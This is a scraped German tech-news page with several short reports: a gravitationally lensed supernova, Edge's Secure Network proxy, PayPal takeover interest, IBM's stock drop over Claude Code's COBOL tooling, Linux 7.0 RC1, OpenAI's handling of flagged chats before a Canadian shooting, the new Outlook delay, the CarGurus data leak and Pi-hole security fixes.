Eine Supernova, deren Licht uns dank zweier Gravitationslinsen auf gleich fünf Wegen erreicht, soll dabei helfen, die Expansionsgeschwindigkeit des Universums zu berechnen und damit die „Hubble-Spannung“ aufzulösen. Das hat die Ludwig-Maximilians-Universität München publik gemacht, wo die Erforschung der Sternenexplosion geleitet wird. Es handle sich um einen einzigartigen Fund, „die Wahrscheinlichkeit, eine superleuchtkräftige Supernova zu finden, die sich genau hinter einer Gravitationslinse befindet, liegt unter eins zu einer Million“, erklärt die an der Arbeit beteiligte Kosmologin Sherry Suyu. Die Forschungsgruppe hat die Supernova „SN Winny“ getauft, nach ihrer offiziellen Bezeichnung SN 2025wny. Sie wird derzeit intensiv beobachtet.

Extremer Glücksfall für die Kosmologie

Die Supernova ist etwa zehn Milliarden Lichtjahre entfernt, es handelt sich um „eine seltene, superleuchtkräftige Sternexplosion“, erklärt das Team weiter. Damit ist sie weit heller als gewöhnliche Supernovae, was schon einmal bei der Erforschung hilft. Für den außergewöhnlichen Umstand, dass wir sie gleich mehrfach sehen, sorgen zwei Galaxien im Vordergrund. Deren Masse krümmt das Licht auf seinem Weg durch den Kosmos, weshalb es aus fünf Richtungen zu uns kommt. Weil die Wege unterschiedlich lang sind, erfolgt das aber zeitversetzt und genau aus diesen Unterschieden „lässt sich die heutige Expansionsrate des Universums – die Hubble-Konstante – bestimmen“. Damit könnte das Ereignis „für unser Verständnis des Kosmos eine Schlüsselrolle spielen“, meint Suyu.

Empfohlener redaktioneller Inhalt

Mit Ihrer Zustimmung wird hier ein externes Video (TargetVideo GmbH) geladen.

Videos immer laden

Ich bin damit einverstanden, dass mir externe Inhalte angezeigt werden. Damit können personenbezogene Daten an Drittplattformen (TargetVideo GmbH) übermittelt werden. Mehr dazu in unserer Datenschutzerklärung.

Das Forschungsteam erläutert, dass man jetzt die genaue Massenverteilung in den beiden Vordergrundgalaxien kennen muss, um die Hubble-Konstante aus dem zeitlichen Abstand zwischen den eintreffenden Signalen genau zu ermitteln. Damit basiere diese Methode auf weniger, aber „völlig anderen“ Quellen systematischer Unsicherheiten. Vorher habe man aber bestätigen müssen, dass alle fünf Signale tatsächlich von ein und derselben Supernova stammen. Die Forschungsgruppe gibt sich sicher, dass ihre Arbeit „entscheidende neue Erkenntnisse liefern“ und dabei helfen werde, die sogenannte Hubble-Spannung endlich aufzulösen. Zwei wissenschaftliche Arbeiten dazu sind jetzt vorab einsehbar.

Als „Hubble-Spannung“ wird eine immer größere Differenz für den Wert der Hubble-Konstante bezeichnet, die die Kosmologie seit Jahren vor ein Rätsel stellt. Die Hubble-Konstante (H0) ist eine fundamentale Größe der Kosmologie. Ihr Wert weist aus, mit welcher Geschwindigkeit sich ein Objekt in einer Entfernung von einem Megaparsec (3,26 Millionen Lichtjahre) allein aufgrund der Expansion des Universums von uns entfernt. Erstmals wurde die Konstante von dem US-Astronomen Edwin Hubble berechnet, dessen Namen sie inzwischen trägt. Messungen im vergleichsweise nahen Universum ergeben für die Konstante einen signifikant anderen Wert als hochpräzise Messungen zur Epoche direkt nach dem Urknall. Die Forscherinnen und Forscher aus Deutschland wollen das mit ihrer dritten Methode nun klären helfen.

Lesen Sie auch

Mysteriöse Diskrepanz bei Hubble-Konstante angeblich doch vor Auflösung

Weltraumteleskop James Webb bestätigt mysteriöse Diskrepanz bei Hubble-Konstante

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Microsoft Edge: Tumult um VPN-Funktion

2026-02-24T09:13:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Aktuell macht eine Meldung die Runde: Microsoft Edge Secure Network ist gar kein VPN. Es macht jedoch das, was angekündigt war.

(Bild: DANIEL CONSTANTE/Shutterstock.com)

09:13 Uhr

Lesezeit: 4 Min.

Security

Von

Dirk Knop

Derzeit häufen sich die Meldungen, dass die Funktion „Microsoft Edge Secure Network“ gar kein VPN sei. Es stelle die Funktion nur für den Browser und nicht für das gesamte System bereit. Zudem wird nicht aller Verkehr getunnelt. Das hat Microsoft jedoch nie versprochen.

Der derzeitige Aufschrei geht zurück auf einen Beitrag auf X von einem jungen IT-Sicherheitsforscher namens Sooraj Sathyanarayanan. Dort schreibt er: „Ich habe eine gründliche Sicherheitsanalyse von Microsoft Edges ‚Secure Network VPN‘ gemacht“. Der Name lautet allerdings offiziell „Microsoft Edge Secure Network“ (auf Deutsch etwas ungelenk das „sichere Microsoft Edge-Netzwerk“). Die Beschreibung in den Browser-Einstellungen unter „Datenschutz, Suche und Dienste“ – „Sicheres Microsoft Edge-Netzwerk verwenden“ lautet tatsächlich „integriertes VPN, das vor Onlinetrackern schützt. Sie erhalten 5 GB kostenloses VPN pro Monat“. Etwas detaillierter ist nach Klick auf das Fragezeichen neben der Funktion zu lesen: „Secure Network ist ein integriertes VPN, mit dem Sie Ihre Netzwerkverbindungen gegen Online-Hacker absichern, sich vor Onlinetrackern schützen und Ihren Standort privat halten können. Sie erhalten jeden Monat 5 GB kostenlose sichere Netzwerkdaten, wenn Sie sich mit Ihrem Microsoft-Konto bei Edge anmelden“.

Tunnel für Klartext-Verbindungen im Browser

Sathyanarayanan erklärt, dass Edge Secure Network jedoch kein VPN sei. Es handele sich um einen „HTTP CONNECT“-Proxy, der auf Cloudflares Privacy-Proxy-Plattform aufsetzt. Lediglich Verkehr aus dem Edge-Browser werde getunnelt. Andere Anfragen des Systems wie DNS-Anfragen, E-Mail-Clients, Hintergrunddienste, Betriebssystemupdates, schlicht alles außerhalb von Edge bleibt weiterhin sichtbar. Schlimmer noch: Standardmäßig sei die „optimierte“ Einstellung vorausgewählt, die nur in öffentlichen WLANs oder beim Besuch unverschlüsselter HTTP-Seiten eingreift. Im heimischen Netz macht das VPN also beim Besuch von HTTPS-Seiten nichts, außer man stellt die Einstellungen um auf „Alle Seiten“. „Die meisten User werden das niemals machen, was bedeutet, die meisten User erhalten die meiste Zeit null Schutz“, führt der IT-Forscher aus. Ein weiteres Problem liegt darin, dass der Traffic ohne Verschlüsselung weiterlaufe, wenn die Verbindung zu Cloudflare-Servern ausfalle – ohne, dass Nutzer gewarnt würden.

Außerdem muss man sich mit einem Microsoft-Konto anmelden. Damit ist die eigene Identität mit der VPN-Nutzung verknüpft. Sofern ein Konto angemeldet ist, synchronisiert er die meisten Daten, den Verlauf, Passwörter, Favoriten, Formulardaten, Erweiterungen und geöffnete Tabs in allen Edge-Instanzen. Daher erfordere Edge Secure Network die vollständige Offenlegung der Identität der Nutzer. Zudem übernimmt Cloudflare das Routing. Alle 25 Stunden lösche das Unternehmen Diagnose- und Support-Daten. Microsoft behauptet, dass Cloudflare niemals die Konto-Identität sehe, und Cloudflare gibt an, dass es den Traffic nicht untersuche. Hier müssten Nutzer den Unternehmen vertrauen, da sie keine unabhängige Überprüfung vornehmen können und die Codebasis Closed Source sei.

Microsofts Angebot

Zwar sind die Beobachtungen korrekt. Allerdings behauptet Microsoft gar nicht, dass es sich um ein vollwertiges VPN handelt. Bereits bei der Vorstellung in einer Vorabversion von Microsoft Edge im April 2022 war der Nutzen des Quasi-VPNs im Webbrowser klar: „Der Datenverkehr ist damit auch bei Verbindungen, die nicht SSL-gesichert sind, nicht mehr abhörbar. Zudem verschleiert der Tunnel die eigene IP-Adresse, sodass Tracking erschwert wird. Der Tunnel wird über den CDN- und Internet-Security-Anbieter Cloudflare aufgebaut.“

Videos by heise

Auf der verlinkten Webseite zu „Microsoft Edge Secure Network“ erklärt das Unternehmen auch die Voreinstellung, dass zur Begrenzung des Traffics nur unsichere Verbindungen über die VPN-Tunnel gehen. „Um Ihre zugewiesene VPN-Datenbandbreite zu schonen, werden Streaming-Seiten wie Netflix, Hulu, HBO und andere nicht über den Secure-Network-VPN-Dienst geleitet, es sei denn, Sie entscheiden sich dafür, das VPN für alle Seiten zu nutzen“, schreibt Microsoft dort.

Übertriebene Aufregung

Die Aufregung um die Microsoft-Edge-Funktion erscheint daher übertrieben. Interessierte müssen die Funktion überhaupt erst finden und aktivieren. Dass daraus aufgrund der Beschreibung die Erwartung erwächst, dass sämtlicher Traffic des Geräts über einen VPN-Tunnel geleitet wird, ist zumindest zweifelhaft. Bei anderen Webbrowsern mit integrierter VPN-Funktion erwartet das vermutlich ebenfalls niemand. Microsoft geht zudem offen damit um, dass Nutzer angemeldet sein müssen und Cloudflare den Dienst bereitstellt.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Aktienkurs halbiert: Immer mehr Interesse an einer PayPal-Übernahme

2026-02-24T07:53:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Innerhalb weniger Monate hat sich der Aktienkurs von PayPal fast halbiert und die Aussichten sind nicht rosig. Jetzt gibt es wohl Interesse an einer Übernahme.

(Bild: JarTee/Shutterstock.com)

07:53 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Nach einer monatelangen Talfahrt der Aktien von PayPal, in der sich deren Wert fast halbiert hat, gibt es immer mehr Interessenten für eine Übernahme des Bezahldienstleisters. Das hat Bloomberg unter Berufung auf anonyme Quellen öffentlich gemacht, woraufhin der Aktienpreis direkt einen merklichen Sprung von zwischenzeitlich fast 10 Prozent nach oben gemacht hat. Mindestens ein „Rivale“ hat demnach Interesse an einer kompletten Übernahme an PayPal bekundet, andere würden nur an einzelnen Vermögenswerten interessiert sein. PayPal selbst hat demnach bereits Gespräche mit Banken aufgenommen, noch könnten sich alle Verhandlungen in Luft auflösen.

PayPal in der „Sackgasse“

Noch im vergangenen Sommer hat eine PayPal-Aktie über 78 US-Dollar gekostet, nach einer langen Talfahrt war der Preis vor zwei Wochen vorübergehend sogar rund 41 US-Dollar gefallen. Bloomberg erklärt das mit einer „Sackgasse“, in der sich der Dienstleister befinde, weil die Kundschaft „zunehmend auf alternative Zahlungsmethoden zurückgreift“. Dabei geht es vor allem um verlorene Marktanteile an Apple Pay und Google Pay. Zudem sei es dem Unternehmen nicht gelungen, die eigene Technik zu modernisieren und mit den Rivalen mitzuhalten. Gleichzeitig zitiert die Finanznachrichtenagentur Experten mit der Einschätzung, dass PayPal angesichts seiner globalen Bedeutung an den Börsen „zutiefst unterbewertet ist“.

Videos by heise

Wegen der negativen Geschäftsentwicklung bei PayPal war Anfang Februar schon der CEO mit sofortiger Wirkung abgesetzt worden, kommende Woche übernimmt der bisherige Verwaltungsratsvorsitzende das Ruder. Auch das hat die Börsen aber nicht beruhigt, ganz im Gegenteil. Allein nach diesem abrupten Führungswechsel war der Aktienkurs um fast 20 Prozent abgestürzt und hat sich davon seither auch nicht erholt. Unzufrieden waren die Anleger und Anlegerinnen auch mit dem Ausblick von PayPal. Zukünftiges Wachstum hat sich PayPal insbesondere durch KI-Agenten, die das Geld ihrer Verbraucher ausgeben sollen, sowie von Werbeeinnahmen und sogenannten Stablecoins erhofft.

Lesen Sie auch

HP-Chef wechselt plötzlich zu Paypal, beide Aktien fallen

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Claude Code für Modernisierung von COBOL-Systemen: Schwarzer Tag für IBM-Aktie

2026-02-24T07:08:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Nachdem Anthropic ein Werkzeug für die Automatisierung der zeitaufwendigen COBOL-Modernisierung vorgestellt hat, ist die IBM-Aktie über 13 Prozent abgestürzt.

186

(Bild: LCV/Shutterstock.com)

07:08 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

Offenbar, weil die KI Claude Code von Anthropic besonders zeitaufwendige Prozesse bei der Aktualisierung von Quellcode in COBOL übernehmen kann, ist der Aktienkurs von IBM am Montag um mehr als 13 Prozent eingebrochen. In einem Blogeintrag hatte das KI-Unternehmen erläutert, dass die eigene Technik die langwierige Erkundungs- und Analysearbeit automatisieren kann, die vor einer Migration durchgeführt werden muss. Dank der KI könne eine COBOL-Codebasis jetzt in einem Zeitraum von Quartalen modernisiert werden, während das bislang Jahre dauerte. Für die IBM-Aktien folgte der schlimmste Börsentag seit mehr als 25 Jahren, und allein im Februar hat die Aktie des Konzerns damit jetzt mehr als 26 Prozent an Wert verloren.

Keine „Heerscharen“ von Beratern mehr nötig

COBOL läuft noch immer auf zahlreichen Mainframes, die insbesondere bei Banken, im Gesundheitswesen und Einzelhandel wegen ihrer hohen Zuverlässigkeit im Einsatz sind. Die meisten dieser Großrechner stammen von IBM, der US-Konzern macht damit einen signifikanten Teil seines Umsatzes. Die Modernisierung eines solchen Systems „erforderte früher ganze Heerscharen von Beratern, die jahrelang damit beschäftigt waren, Arbeitsabläufe abzubilden“, schreibt Anthropic jetzt. Nur wenige seien deshalb bereit gewesen, die hohen Kosten zu tragen. Genau diese kostenintensiven Teile einer Modernisierung könne Claude Code jetzt erledigen, während Menschen die Aufsicht und Kontrolle übernehmen müssen.

Trotzdem bleibt das Ausmaß des Ausverkaufs jetzt überraschend. IBM selbst hat schon vor zweieinhalb Jahren einen KI-Assistenten für die effizientere Übersetzung von COBOL in Java vorgestellt, um die Modernisierung von Mainframe-Anwendungen voranzutreiben. Erst im Sommer 2025 hat der IBM-CEO erklärt, dass das Werkzeug weite Verbreitung gefunden habe. Unternehmen würden es benutzen, um die Millionen Zeilen an Quellcode in ihren Systemen zu verstehen und damit entscheiden zu können, was sinnvollerweise modernisiert werden sollte. Gegenüber Bloomberg weist ein Analyst darauf hin, dass Mainframes also längst effizienter modernisiert werden könnten, die Betreiber das aber nicht angehen würden.

Videos by heise

COBOL (Common Business Oriented Language) wurde in den 1950er-Jahren entwickelt und kommt heute nur noch selten zum Einsatz. Gleichzeitig handelt es sich dabei aber um besonders wichtige Systeme, die nicht einfach durch neuere Alternativen ersetzt werden können. Damit bedeuten die Mainframes für Unternehmen aber auch immense „technische Schulden“, die hohe Kosten verursachen. Gleichzeitig erschweren sie zunehmend den Zugriff auf Daten sowie die Integration moderner Technik. Zudem gibt es immer weniger Entwickler und Entwicklerinnen für COBOL, weshalb erfahrene Teams für viel Geld vorgehalten werden müssen. Hier vermuten Anleger und Anlegerinnen für KI-Technik wie Claude Code wohl ein großes Einsparpotenzial.

Lesen Sie auch

„Technische Schulden“: Zu wenig Investitionen von Firmen in IT

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Linux: Torvalds startet Entwicklung von Kernel 7.0

2026-02-23T14:27:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Linus Torvalds hat zwei Wochen nach Release von Kernel 6.19 jetzt den RC1 von Kernel 7.0 veröffentlicht. Der soll stabil werden.

(Bild: Tux by Larry Ewing/GIMP)

23.02.2026, 14:27 Uhr

Lesezeit: 4 Min.

Von

Dirk Knop

Linus Torvalds hat am Sonntag den Startschuss für die Entwicklung von Linux Kernel 7.0 gegeben. Zwei Wochen nach der Veröffentlichung des letzten Kernels 6.19 hat er das sogenannte Merge-Window geschlossen und den ersten Release-Candidate von Linux 7.0 veröffentlicht.

Neue Linux-Kernel-Hauptversion

In einer Ankündigungsmail an die Linux-Kernel-Mailingliste scherzt Torvalds, dass „wir die neue Hauptnummer nur deshalb haben, weil ich mich leicht verwirren lasse und nicht gut im Umgang mit großen Zahlen bin“. – „Neue Releases haben wir schon lange nicht mehr anhand von Funktionen oder auf Basis der Einordnung als ‚stabil vs. instabil‘ vorgenommen“, erklärt er weiter. „Daher bedeutet die neue Hauptnummer nicht, dass wir aufregende Funktionen haben oder dass wir irgendwelche alten Schnittstellen aufgeben. Es handelt sich um die übliche Markierung ‚solider Fortschritt’, nicht mehr“.

Mit dem üblichen Release-Plan von fünf bis sechs Veröffentlichungen im Jahr „und meiner Antipathie gegen große Versionsnummern“ sollte man prinzipiell das Heraufsetzen der Hauptversionsnummer grob alle dreieinhalb Jahre erwarten, erklärt Torvalds weiter. „Und ja, ich habe keinen hieb- und stichfesten Plan für den Fall, dass die Hauptnummer selbst groß wird. Aber mal nachgerechnet, bis das so weit ist, erwarte ich, dass jemand Kompetenteres verantwortlich ist, der sich nicht vor Zahlen jenseits der Zehner-Nummern fürchtet.“ Er mache sich daher keine Sorgen darum.

Torvalds berichtet weiter, dass entgegen aller Befürchtungen bezüglich einer Nuller-Version, die einige Leute aufgrund ihrer Erfahrungen mit anderen Projekten haben könnten, das Merge-Window dieses Mal ziemlich reibungslos gewesen sei. Er definiere Merge-Fenster so, wenn er nicht auf der Hälfte der Maschinen Boot-Fehler ausbügeln müsse. „Zugegeben, dieses Mal kam das daher, dass ich einen Fehlerfall frühzeitig erwischt habe, bevor ich damit gebootet habe, aber hey, das zählt technisch für mich noch als ‚reibungslos’“, frotzelt Torvalds weiter.

Er albert weiter: „Eure Erfahrungen können anders aussehen. Deshalb solltet ihr alles stehen und liegen lassen, zu eurem Computer rennen und einen Test-Build bauen und den schönen neuen Kernel starten. Der Fakt, dass für mich alles funktioniert, ist gut, aber lasst uns sicherstellen, dass es auch für andere klappt, ok?“ – „Ich albere nur herum. Ein gemütlicher Spaziergang nach dem Aufessen ist auch in Ordnung.“

Torvalds ist die Liste an Änderungen im Release Candidate 1 zu lang, sodass er eine reine Stichwort-Liste anhängt, die beschreibt, was er von wem in den Kernel übernommen hat. Dieses Mal betreffen die Änderungen demnach zu zwei Dritteln Treiber und das weitere Drittel eine eher zufällige Sammlung an Architektur-Dateien, Dateisystemen, Werkzeugen und zufälligem Kernel-Core-Code. Als geplantes Veröffentlichungsdatum für den Kernel 7.0 ist Mitte April anvisiert, mit den üblichen sieben oder acht Release-Candidates, die im Wochenrhythmus erscheinen.

Videos by heise

Unscheinbarer Linux-Kernel 6.19

Kernel 6.19 erblickte Anfang Februar das Licht der Welt. Linus Torvalds hatte dazu wenig zu sagen, sondern ließ sich mehr zum erwarteten Stillstand aufgrund des Super Bowl in den USA aus sowie zur Ankündigung, dass der nächste Kernel der nun in der Entwicklung befindliche Kernel 7.0 ist. Im Vergleich zum letzten 6.19er-Release-Candidate kamen noch zahlreiche kleinere Fehlerkorrekturen hinzu. Beim Schließen des Merge-Windows in Kernel 6.19-rc1 führte Linus Torvalds aus, dass viele der vorgeschlagenen Änderungen die Nutzung der automatischen Compiler-Aufräum-Infrastruktur betrafen, insbesondere der VFS-Layer (Virtual File System) stach dabei hervor. Außerdem würden mehrere in Rust programmierte Treiber Form annehmen. Die „hauptsächliche Vorbereitung und Infrastruktur“-Phase sei nun in „tatsächliche Treiber- und Subsystementwicklung“ übergegangen.

Ansonsten habe das große Bild recht normal ausgesehen. Die Hälfte des rc1-Patches besteht aus Treiber-Updates (GPU, Netzwerk, Media und Sound stechen als große Subsysteme hervor, aber da ist so ziemlich alles enthalten). Der Rest geht querbeet von Architektur-Updates, Werkzeuge, Rust-Support, Dokumentation und Kernel-Core-Updates (MM, Scheduler, Netzwerk).

Der Linux-Kernel 6.18 kam Anfang Dezember 2025 heraus. Es handelt sich um einen LTS-Kernel mit Langzeitunterstützung. Vor dem Release standen jedoch noch viele Last-Minute-Bugfixes.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Amoklauf in Kanada: OpenAI hatte Hinweise auf mögliche Gefahr durch Täterin

2026-02-23T13:44:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Monate vor einem Amoklauf in Kanada hat die Täterin alarmierende Anfragen an ChatGPT gestellt. Die wurden bei OpenAI diskutiert, hatten aber keine Folgen.

(Bild: Camilo Concha/Shutterstock.com)

23.02.2026, 13:44 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Nach dem Amoklauf in der kanadischen Gemeinde Tumbler Ridge hat das Unternehmen OpenAI eingeräumt, bereits Monate vor der Tat auffälliges Verhalten der psychisch kranken Täterin in Chats mit ChatGPT festgestellt zu haben. Die spätere Täterin habe im Juni 2025 während mehrerer Tage über Waffengewalt geschrieben und diese Chats seien von automatischen Systemen bei OpenAI markiert worden, berichtet das Wall Street Journal (WSJ) unter Berufung auf mit dem Vorgang vertraute Personen.

Mitarbeiter hätten daraufhin diskutiert, den Vorgang den Behörden zu melden, heißt es weiter. Letztlich habe sich das Management aber dagegen entschieden. OpenAI habe den Account zwar gelöscht, aber keinen Anlass für die Hinzuziehung der Behörden gesehen, sagte ein Sprecherin dem WSJ. Aus den Chatverläufen habe sich keine „glaubhafte und unmittelbare Gefahr für die körperliche Unversehrtheit anderer“ ergeben.

Bluttat erschüttert kleine Gemeinde

Die 18-Jährige hat am 10. Februar in Tumbler Ridge in der westkanadischen Provinz British Columbia insgesamt acht Menschen getötet, die meisten davon Schulkinder im Alter von 11 bis 13 Jahren. Danach hat sie sich die selbst getötet. Mehr als 20 Menschen wurden zudem bei dem Amoklauf verletzt. Die Tat gehört damit zu den blutigsten in der kanadischen Geschichte. Die betroffene Gemeinde Tumbler Ridge hat gerade einmal rund 2400 Einwohner und liegt am Osthang der Rocky Mountains, mehr als 1000 Kilometer nördlich von Vancouver.

Videos by heise

Laut dem Bericht des Wall Street Journals hat OpenAI erst nach dem Bekanntwerden des Amoklaufs den Kontakt zur kanadischen Polizei gesucht. Das Unternehmen unterstütze die Ermittlungen, sagte die Sprecherin. Die KI-Modelle würden so trainiert, dass sie Nutzer und Nutzerinnen davon abhalten, in der realen Welt Schaden anzurichten. Im konkreten Fall seien die Chatverläufe von einem Prüfsystem automatisch gefunden und intern gemeldet worden. Beim Umgang mit solchen Hinweisen wäge man immer das Risiko von Gewalt gegen Datenschutzbedenken ab, zitiert die Zeitung noch. OpenAI hat demnach noch darauf hingewiesen, wie potenziell belastend „eine unnötige Einschaltung der Polizei“ für Einzelpersonen und Familien sei.

Lesen Sie auch

OpenAI-Chef: KI braucht dringend Regulierung

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Neues Outlook: Unternehmen erhalten ein weiteres Jahr Gnadenfrist

2026-02-23T12:23:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Microsoft will alle Kunden auf die Web-App „neues Outlook“ umstellen. Der Startpunkt für Unternehmen soll nun im März 2027 liegen.

180

(Bild: heise medien)

23.02.2026, 12:23 Uhr

Lesezeit: 2 Min.

Von

Dirk Knop

Microsoft will das klassische Outlook mit seiner lokalen Datenverarbeitung loswerden und Kunden mit dem „neuen Outlook“ in die Cloud umleiten. Dort landen dann auch Daten von anderen Konten bei anderen Anbietern. Microsoft überträgt dazu die Zugangsdaten an seine Server. So können dann KI-Funktionen bei der Mailverarbeitung helfen. Auch Unternehmenskunden droht die Umstellung, dafür hatte Microsoft zunächst den April 2026 angekündigt. Jetzt verschiebt das Unternehmen den Zeitpunkt noch einmal um fast ein Jahr.

Im Microsoft 365 Admin Center hat das Unternehmen den Eintrag MC949965 aktualisiert (Kopie bei mc.merill.net). Der stammt ursprünglich aus dem Dezember 2024 und kündigte an, dass die Nutzerbasis bei Kunden mit Enterprise-Lizenzen ebenfalls automatisch vom klassischen Outlook auf das neue Outlook umgestellt werden – „mit der Option, zurückzukehren“. Als Startzeitpunkt hatte Microsoft den 1. April 2026 auserkoren.

„Neues Outlook“: Aktualisierter Zeitplan

Jetzt hat Microsoft das Startdatum auf den 1. März 2027 gelegt. Zur Begründung schreibt der Hersteller: „Microsoft hat die Opt-out-Phase für das neue Outlook in Enterprise von April 2026 auf März 2027 verschoben, sodass Unternehmen nun 12 Monate Zeit für die Vorbereitung haben. Administratoren können Richtlinien für eine gestaffelte Migration verwenden, Benutzer können vorübergehend zurückwechseln, und es werden Ressourcen für einen reibungslosen Übergang und eine reibungslose Einführung bereitgestellt.“ Die Entwickler sehen demnach eine starke und ansteigende Nutzung des neuen Outlooks, „investieren jedoch stark in die Erweiterung der Fähigkeiten und das Berücksichtigen von Rückmeldungen von Kunden, die das neue Outlook noch weitreichender nutzen wollen“.

Videos by heise

Nutzerinnen und Nutzer sollen nicht automatisch umgestellt werden, sofern Admins diese mittels Opt-out aus der Richtlinie für die automatische Migration herausgepickt haben, der Schalter „neues Outlook“ mittels Richtlinie versteckt wurde, eine unbefristete Lizenz im Einsatz ist oder On-Premise-Konten genutzt werden. Letzteres ist ein Hinweis darauf, dass Microsoft offenbar weiß, dass die automatische Übertragung von Zugangsdaten an die eigenen Server problematisch ist. Gegebenenfalls können sich Betroffene mit einigen Empfehlungen behelfen.

In dem Admin-Center-Eintrag verlinkt Microsoft nützliche Ressourcen für IT-Verantwortliche, mit denen sie ihre Umgebungen auf die Outlook-Umstellung vorbereiten können.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

CarGurus: Have I Been Pwned integriert Daten von 12,5 Millionen Kunden

2026-02-23T10:53:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Have I Been Pwned ist um 12,5 Millionen Einträge von CarGurus-Nutzern und -Nutzerinnen reicher. Die haben ShinyHunters geklaut.

(Bild: heise medien)

23.02.2026, 10:53 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Die kriminelle Online-Bande ShinyHunters hat Daten von Nutzern und Nutzerinnen bei dem Fahrzeug-Verkaufsdienstleister CarGurus Inc. kopiert. Nach offenbar fehlgeschlagenem Erpressungsversuch des seit 2017 auch in Deutschland aktiven Unternehmens sind die Daten nun öffentlich. Das Prüfangebot Have-I-Been-Pwned (HIBP) von Troy Hunt hat die Daten aufgenommen. Wer die Plattform genutzt hat, kann dort jetzt prüfen, ob die eigenen Informationen betroffen sind.

Wie Hunt auf der Have-I-Been-Pwned-Übersichtsseite zu den Datenlecks schreibt, umfassen die veröffentlichten Daten mehr als 12 Millionen E-Mail-Adressen in mehreren Dateien. Zudem sind Nutzerkonten-IDs enthalten, Daten aus finanziellen Vorprüfungen, Händlerkonten sowie Abo-Informationen. Hunt führt weiter aus, dass auch Namen, Telefonnummern, Anschriften und IP-Adressen sowie der Ausgang von Finanzierungsanfragen betroffen sind.

CarGurus: Umfangreicher Datensatz kopiert

Laut der Leaksite von ShinyHunters im Darknet sind die Daten komprimiert 6,1 GByte groß und umfassen mehr als 12,4 Millionen Einträge – das deckt sich mit den Angaben von Troy Hunt. Die Cyberbande hat die Daten demnach am vergangenen Samstag veröffentlicht. Hunt hat sie am gestrigen Sonntag in die HIBP-Datensammlung eingepflegt.

Videos by heise

ShinyHunters fielen etwa Mitte Dezember auf, als die Kriminellen Daten von einem Dienstleister von Pornhub abgegriffen hatten und mit deren Veröffentlichung drohten. Diese gehörten etwa zu Nutzern des Premium-Angebots der Pornografie-Plattform. Zu dem Zeitpunkt war der Darknet-Auftritt der Gruppe offline. Nun ist er jedoch wieder erreichbar.

Wer prüfen möchte, ob die eigene E-Mail-Adresse in diesem oder anderen Datenlecks enthalten ist, kann das einfach auf der Webseite des Have-I-Been-Pwned-Projekts machen. Der Identity Leak Checker des Hasso-Plattner-Instituts bietet einen vergleichbaren Dienst an, ebenso die Universität Bonn mit ihrem eigenen Identity Leak Checker. Anfang November vergangenen Jahres hatte das Have-I-Been-Pwned-Projekt 1,3 Milliarden neu geleakter E-Mail-Adressen zu dem Datenfundus hinzugefügt. Sie stammten von Datensammlungen, die Infostealer-Malware angelegt hatte.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Pi-hole: Update schließt Sicherheitslücken und liefert mehr Performance

2026-02-23T09:11:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Pi-hole-Programmierer haben dem DNS-Werbefilter Sicherheitslücken ausgetrieben und die Software verschlankt.

134

(Bild: heise medien)

23.02.2026, 09:11 Uhr

Lesezeit: 3 Min.

Security

Von

Dirk Knop

Der DNS-basierte Werbeblocker Pi-hole stopft in aktualisierter Fassung zwei Sicherheitslücken. Außerdem haben die Programmierer Änderungen umgesetzt, die der Performance insbesondere auf älteren Raspberry Pis auf die Sprünge helfen.

In einem Blog-Beitrag auf der Pi-hole-Webseite haben die Entwickler die neuen Versionen der Komponenten angekündigt. Die darin geschlossenen Sicherheitslücken betreffen das Web-Interface von Pi-hole. Zum einen hätten als Admin angemeldete Angreifer eine „Stored HTML-Injection“-Schwachstelle missbrauchen können, um HTML-Code einzuschleusen, der bei der Anzeige der DNS-Eintragstabelle angezeigt wird (CVE-2026-26952, CVSS 5.4, Risiko „mittel“). Zum anderen gelingt dies auch auf der API-Einstellungswebseite (CVE-2026-26953, CVSS 5.4, Risiko „mittel“).

Aktualisierte Pi-hole-Komponenten

Die aktuellen Pi-hole-Komponenten FTL 6.5, Web 6.4.1 und Core 6.4 stopfen die Sicherheitslecks in der Web-Oberfläche. Wer Pi-hole einsetzt, sollte generell sicherstellen, dass die Web-GUI nicht offen im Internet steht und gegebenenfalls den Zugriff auf die Admin-Rechner beschränken.

Die aktualisierten Teile von Pi-hole haben jedoch noch mehr zu bieten. Die Performance haben die Entwickler nach eigenen Angaben darin verbessert. Das Starten geht nun schneller, da FTL den Anfragenverlauf asynchron aus der Datenbank importiert. Bislang blieb die DNS-Auflösung blockiert, bis der komplette Anfrageverlauf in den Speicher geladen wurde. Jetzt akzeptiert FTL Anfragen umgehend und importiert die alten Daten in einem Hintergrund-Thread. Um die Konsistenz sicherzustellen, startet der Garbage Collector erst, wenn der Import abgeschlossen wurde.

Lesen Sie auch

IPFire stellt freie Domain-Blockliste DBL vor

Werbeblocker: Pi-hole v6 durchläuft Schlankheitskur

iOS und iPadOS 18.2: Neue Berichte über Probleme mit Apple Mail

